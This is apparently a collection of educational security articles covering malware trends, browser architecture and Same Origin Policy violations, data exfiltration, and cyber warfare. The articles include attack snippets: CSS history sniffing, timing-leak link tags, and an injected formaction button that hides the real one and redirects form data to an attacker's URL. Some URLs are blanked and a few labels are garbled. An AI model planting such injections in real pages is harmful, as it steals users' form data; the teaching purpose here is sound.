Strong interests in the cyberspace produce lots of highly sophisticated malicious software.

To enter the cyberspace means to probably be the target of thieves, hackers, activists, terrorists, nation-states cyber warriors and foreign intelligence services. In this scenario the strong competition in cybercrime and cyberwarfare continuously brings an increasing proliferation of malicious programs and an increment in their level of sophistication.



According to the data published by the major antivirus companies we have an average of 400000 new malware samples every day.

Malware per Day

This data could be a little bit inflated by the antivirus companies but if we consider as true only the 2% of 400000, this means that we have 8000 new strains of computer malware per day in the wild.

Today it is impossible to live without digital technology, which is the base of digital society where governments, institutions, industries and individuals operate and interact in the everyday life.

So, to face the high-profile data breaches and ever increasing cyber threats coming from the same digital world, huge investments in information security are made around the world (according to Gartner in 2015 the spending was of above $75.4 billions).

But the security seems an illusion after hearing about the result of a research made at Imperva, a data security research firm in California.
A group of researchers infected a computer with 82 new malwares and ran against them 40 threat-detection engines of the most important antivirus companies.
The result was that only 5 percent of the malwares was detected. This means that even if the antivirus software is almost useless for fighting new malwares, it is necessary to protect us from the already known ones by increasing the level of security and protection.



In the leakage involving Twitter on June 8th 2016 user accounts have been hacked, but not on Twitter's servers. This means that 32.888.300 users have been singularly hacked by a Russian hacker. This is amazing and underlines how easy it is to guess the users' passwords and to infect users' computers in order to steal users' credentials.
The password frequencies in the following chart show how users don’t pay too much attention to the passwords they use. In the chart we consider only the first 25th most used passwords. The statistic is done on 20210641 user accounts released from several leakages [04].
They probably think: why should I be hacked? I’m a normal ordinary guy, who cares about me? But what it is important for a bad guy is to get some profit. So, a huge quantity of accounts to sell in the dark market is a good reason to steal every Twitter user's credentials. In fact, the amount is the key factor which attracts the buyer.

Most Used Password

Even if the chameleon attacks or the werewolf attacks are able to bypass easily the antivirus defense, it is important to pay more attention to our access keys to prevent the leakage of this huge quantity of user accounts because, I think, most of Twitter user accounts are simply guessed by the bad guy.




Malicious Software is characterized by four components:

  • propagation methods,
  • exploits,
  • payloads,
  • level of sophistication.


Propagations are the means of transportation of malicious code from the origin to the target. The propagation methods depend on scale and specificity. The target may be consituted by machines connected to the internet (large scale) this could mean for example that someone tries to create a bot-net. Or the target could be a small area network (small scale), for example if a company is going to be attacked for some reason.
Specificity could be connected to constraints placed on malicious code. If they are based on technical limitations they could be a particular operating system or a software version. If they are based on personal information they could be account credentials, details about co-workers or the presence of certain filenames on the victim's machine.
The level of propagation is directly proportional to the probability of detection and the limitation of defensive response.

Exploits act to enable the propagation method and payloads operation.
The exploit severity is indicated by the score (CVSS) assigned to a vulnerability.

The payloads is code written to manipulate system resources and create some effect on a computer system.
We can see that, today, there is an increase in the level of payload customization. We have payload for a web server, for a desktop computer, for a Domain Controller, for a smart phone, and so on. Every payload is tailored to a specific target in order to be very small and guarantee the maximum likelihood of success.

The level of sophistication of a malicious code can speak and tell us some useful information. MAlicious Software Sophistication analysis is an approach that can be used to figure out who is behind it: individuals, groups, organizations or states.
In this scenario we have, from one side generic malwares that are created by individuals or a small group who generally makes use of third-party exploit kits like Blackhole Exploit Kit [05], from the other side we have organizations or states with greater resources who can develop innovative attack methods and new exploits like Duqu 2.0 [06] the Most Sophisticated Malware ever seen.


The power between attacker and defender is strongly asymmetric. The defender needs huge quantities of resources to defend himself, even because he should operate in a proactive manner to fight against these kind of threats.
The study of malicious code is important to understand how attackers act in order to detect in progress attacks and to prepare a better defense response.



[01] Trey Herr, Eric Armbrust, Milware: Identification and Implications of State Authored Malicious Software, The George Washington University, 2015;
[02] CVSS: Common Vulnerability Scoring System;

[03] Marc Goodman, Future Crimes: Inside the Digital Underground and the Battle for Or Connected world, Anchor Books, 2015.
[04] leaked databases that contain information of large public interest.
[05] The Blackhole exploit kit is as of 2012 the most prevalent web threat.

[06] Kaspersky discovered the malware, and Symantec confirmed those findings.

The web browser is a program that retrieves documents from remote servers and displays them on the screen. It allows that particular resources could be requested explicitly by URI, or implicitly by following embedded hyperlinks.

The visual appearance of a web page encoded using HTML language is improved using other technologies.

The first one is the Cascading Style Sheets (CSS) that allow adding layout and style information to the web pages without complicating the original structural mark-up language.

The second one is JavaScript (now standardized as ECMAScript scripting language [1]), which is a host environment for performing client-side computations. It is embedded within HTML documents and the corresponding displayed page is the result of evaluating the JavaScript code and of applying it to the static HTML constructs.

The last one is the using of plugins[2], small extensions that are loaded by the browser and used to display some types of content that the web browser cannot display directly, such as Macromedia Flash animations and Java Applets.

[1] ECMA International is an industry association founded in 1961 and dedicated to the standardization of Information and Communication Technology (ICT) and Consumer Electronics (CE).
[2] A plug-in (also called plugin, addin, add-in, addon, add-on, snap-in, snapin) is a small software computer program that extends the capabilities of a larger program. Plugins are commonly used in web browsers to enable them to play sounds, video clips, or automatically decompressing files.


The web browser is perhaps the most widely used software application running on diverse types of operating system. For this reason, reference architecture is useful to understand how a web browser operates and what services it supplies. A schema of the reference browser architecture is shown in figure 1.
Web browser reference architecture

Figure1 - Web browser reference architecture

The reference schema is made up of eight major subsystems plus the dependencies between them:
1. The User Interface subsystem is the layer between the user and the Browser Engine. It provides features such as toolbars, visual page-load progress, smart download handling, preferences and printing.
2. The Browser Engine subsystem is a component that provides a high-level interface to the Rendering Engine. It loads a given URI and supports primitive browsing actions such as forward, back, and reloading. It provides hooks for viewing various aspects for browsing session such as current page load progress and JavaScript alerts. It also allows querying and manipulation of Rendering Engine settings.
3. The Rendering Engine subsystem produces a visual presentation for a given URI. It is capable of displaying HTML and Extensible Markup Language (XML) documents, optionally styled with CSS, as well as embedded content such as images. It calculates the exact page layout and may use “reflow” algorithms to incrementally adjust the position of elements on the page. This subsystem also includes the HTML parser. As an example the most popular Rendering Engines are Trident for Microsoft Internet Explorer, Gecko for Firefox, WebKit for Safari and Presto for Opera.
4. The Networking subsystem implements file transfer protocols such as HTTP and FTP. It translates between different character sets, and resolves MIME[3] media types for files (see figure 2). It may implement a cache of recently retrieved resources.

Figure 2 - MIME TABLE role

5. The JavaScript Interpreter evaluates JavaScript code which may be embedded in web pages. JavaScript is an object-oriented scripting language developed by Brendan Eich for Netscape in 1995. Certain JavaScript functionalities, such as the opening of pop-up windows, may be disabled by the Browser Engine or Rendering Engine for security purposes. In the following table we can see examples of JavaScript Interpreter.


[3] MIME was originally intended for use with e-mail attachments, in fact MIME stands  for Multimedia Internet Mail Extensions. Unix systems made use of a .mailcap file, which was a table associating MIME types with application programs. Early browsers made use of this capability, now substituted by their own MIME configuration tables.

6. The XML Parser subsystem parses XML documents into a Document Object Model (DOM) tree.

7. The Display Backend subsystem provides drawing and windowing primitives, a set of user interface widgets, and a set of fonts. It may be tied closely with the operating system.

8. The Data Persistence subsystem stores various data associated with the browsing session on disk. These may be high-level data such as bookmarks or toolbars settings, or they may be low-level data such as cookies, security certificates, or caches.



In the following table we can see a comparison between a classical OS and the Internet Browser.


Browser Same Origin Policy (SOP)

Two pages have the same origin if the protocol, port (if one is specified), and host are the same for both pages.



The SOP is identified by (http,, 80).


While in this case the SOP is identified by (https,, ).

The interaction between sites of different domains is regulated by the SOP. Every browser implements this policy which means:

  • on the client side: cookies from origin (document.domain) A are not visible to origin B; scripts from origin A cannot read or set properties for origin B using DOM interface.
  • on server side: SOP allows “send-only” communication to remote site.

Setting document.domain of a web page changes the origin of the page in fact this property sets or returns the domain name of the server from which the document is originated.


Some Same Origin Policy (SOP) Violations

1)    Tracking users by querying user’s history file.

<style> a#visited {background: url (; } </style>
<a href=”” > Hi! </a>

The application of this type of violation could be:

  • Spear phishing;
  • Marketing;
  • Use browsing history as second factor authentication.


2)    Cross-site Timing attacks.

The response time depends on private user state, for example:

  • If the user is logged or not;
  • From number of elements in shopping cart;
  • So on…

In general all web sites leak information by timing.

A link tag can be used to leak timing information based on the fact that a Browser stops parsing until link is resolved.

<link rel=“stylesheet” href=“”>
<link rel="stylesheet“ href=“" />
<img rel=“stylesheet” href=“>

Attacker learns how long it took to load victim/login.html.



[01] Alan Grosskurth, Michael W. Godfrey, Architecture and evolution of the modern web browser, David R. Cheriton School of Computer Science, University of Waterloo, Waterloo, 2006;

[02] Iris Lai, Jared Haines Johm, Chun-Hung, Chiu Josh Fairhead, Conceptual Architecture of Mozilla Firefox (version, SEng 422 Assignment 1 Dr. Ahmed E. Hassan, 2007;

[03] Nicchi A., Web Applications: technologies and models, Edizioni Accademiche Italiane, 2014;

[04] Charles Reis, Steven D. Gribble, Isolating Web Programs in Modern Browser Architectures, University of Washington, 2009;

[05] Stanford Advanced Computer Security Certificate Program, Browser Security Model and SOAP Violations, 2007.




The argument of this article is the leakage of sensitive information from a protected network to an external network due to intruders exploiting the various vulnerabilities of the hw-sw system. Sensitive information could be contained in:

  • static files: images, texts, spreadsheets, phone-books, agenda etc.;
  •  multimedia sessions: telephone conversations, video conferences, chatting channels (text, video image).

The leakage can be done in several ways:

- the data are ex-filtrated without altering the original files;
- the data are modified: converted in new file format or encrypted;
- the data are hidden using steganography techniques;
- the data are ex-filtrated using a combination of the aforementioned techniques.

“Data exfiltration is the unauthorized transfer of sensitive information from a target’s network to a location which a threat actor controls”. [02]
Considering the data-exfiltartion at several levels and analysing the related risks we have the following threats:

National Security: the steal of classified documents may endanger national security;
Organizations: proprietary information can be sold to a rival company causing a loss of competitive advantage;
Citizens: the spreading of personal sensitive data could have serious privacy and security implications like identity theft.

For the National Security and Organizations the worst scenario is when the attackers not only steal data but also modify them producing cyber-espionage and cyber-sabotage.



An attacker can export users’ sensitive data using “HTML form injection attack”. Here is an example of using the formaction attribute. According to the HTML 5 specification, it can be used to overwrite the action attribute of its parent form.

Le us consider the following normal form in a HTML page:


<form action=”URL” ... >

list of couples (label, data-box)

<button type=”submit”... /> label </button>



We inject a formaction attribute:

<form action=”URL” ... >

list of couples (label, data-box)

<button type="submit" formaction="BAD URL "> Fake Search! </button>


The injected form sends its form-data to BAD URL instead of URL.



The following HTML:



<form name="fsbycode" class="s4form" action="" method="post">

<h2>Search Guest By Numeric Code</h2>

Codice Numerico: <input type="number" autocomplete="on" id="icode" name="icode" autofocus placeholder="Insert Code Number" >

<input class="SButton" type="submit" value="Search!">




Produce this form in the web browser:

Normal Web Form

On the other hand now we have the abused HTML:
<form name="fsbycode" class="s4form" action="" method="post">

<h2>Search Guest By Numeric Code</h2>

Codice Numerico: <input type="number" autocomplete="on" id="icode" name="icode"
autofocus placeholder="Insert Code Number" >

<!-- BEGIN attacker's code -->
      <button type="submit" formaction=""> Fake Search! </button>
      <style> .SButton {visibility:hidden;} </style>
<!-- END attacker's code -->

<input class="SButton" type="submit" value="Search!">



It is important to point out that the formaction attribute is supported in Internet Explorer 10, Firefox, Opera, Chrome, and Safari.

The previous HTML shows in the browser:

Abused Web Form
By clicking on Fake Search! button the next HTTP request is produced:

Proxy-Connection: keep-alive
Content-Length: 16
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip,deflate,sdch
Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4,he;q=0.2


This show how the data are sent to instead of



In order to face this serious problem the security system of a ICT infrastructure must be equipped with mechanisms for prevention, detection, damage limitation and monitoring.

The goal of prevention is to lower the risk of attacks.
The blocking of unauthorized communication channels is a mechanism to prevent the exfiltration of data externally to the organization through compromised applications.

We need a system to detect when a web site is compromised to promptly react to the attack.
The use of Sensitive Information Dissemination Detection (SIDD) systems is a mechanism for stopping leakage of sensitive information on time. It monitors the outbound traffic from the protected network, taking actions responsively in case of suspect traffic of packets.

When the attack is in progress we have to limit the damages.
After attack detection this is what must be done:

1) minimize the information leakage;
2) analyze what vulnerability has been exploited and if it is structural of the system or not;
3) harden the security of the information system to avoid another attack of the same type.

If the security system doesn't detect any problems. It is still highly recommended to run a random deep security check because an information leakage could have been happened without anyones awareness of it.



  1. Eric Y. Chen, Sergey Gorbaty, Astha Singhal and Collin Jackson: Self-Exfiltration: The Dangers of Browser-Enforced Information Flow Control, Carnegie Mellon University;
  3. Yali Liu, Cherita Corbett and Ken Chiang, Rennie Archibald, Biswanath Mukherjee and Dipak Ghosal, SIDD: A Framework for Detecting Sensitive Data Exfiltration by Insider Attack, University of California, Usa.



We are living in a global world.


In the cyberspace many things are going to happen. Cyberspace is not a parallel world but it is wired to the real world and it is made up of Internet and whatever is connected to it (Internet of Things or IoT for short).

Cyberspace is become the new battle space where many actors fight their cyber war. The design of Internet and flaws in software and hardware make it possible.

Many countries are developing cyberweaponary to use to cyber strikes, espionage or in retaliation against major cyber attacks.

Cybercriminal groups operate in the cyberspace to easily gain money and illegal profits and so on.

As a consequence we have two types of figure:

  1. Cyber warriors: generally hackers that work for a "military" regular structure of a country;
  2. Cybercriminals: hackers that do something like going where are "not authorized" breaking the laws.

Both of them can carry out searches of faraway attacks or release logic bomb in any "virtual place" in the world. The name of these logic bombs are viruses, worms and phishing scams and so on that we can identify with an only word "malware".

About the cyber warfare we can measure the cyber war strength of a nation using a group of indicators which we can see in the following table.

Cyber War Strength

 Cyber War Strength
  Indicator Description
  Cyber Offence It is the action by a nation-state to penetrate another nation’s computer s or networks for the purposes of causing damage or disruption.
  Cyber Espionage It is the act or practice of obtaining secrets without the permission of the holder of the information for a strategic advantage.
   Cyber Sabotage It is the act or practice of modifying secrets without the permission of the holder of the information for a strategic advantage.
  Cyber Defence The ability to take actions that under attack will block or mitigate the attack.
 Cyber Dependence It is the grade a nation is wired, reliant upon networks and systems that could be vulnerable in the event of cyber war attack.




  1. Richrad A. Clarke and Robert K. Knake, Cyber War, HarperCollins 2010;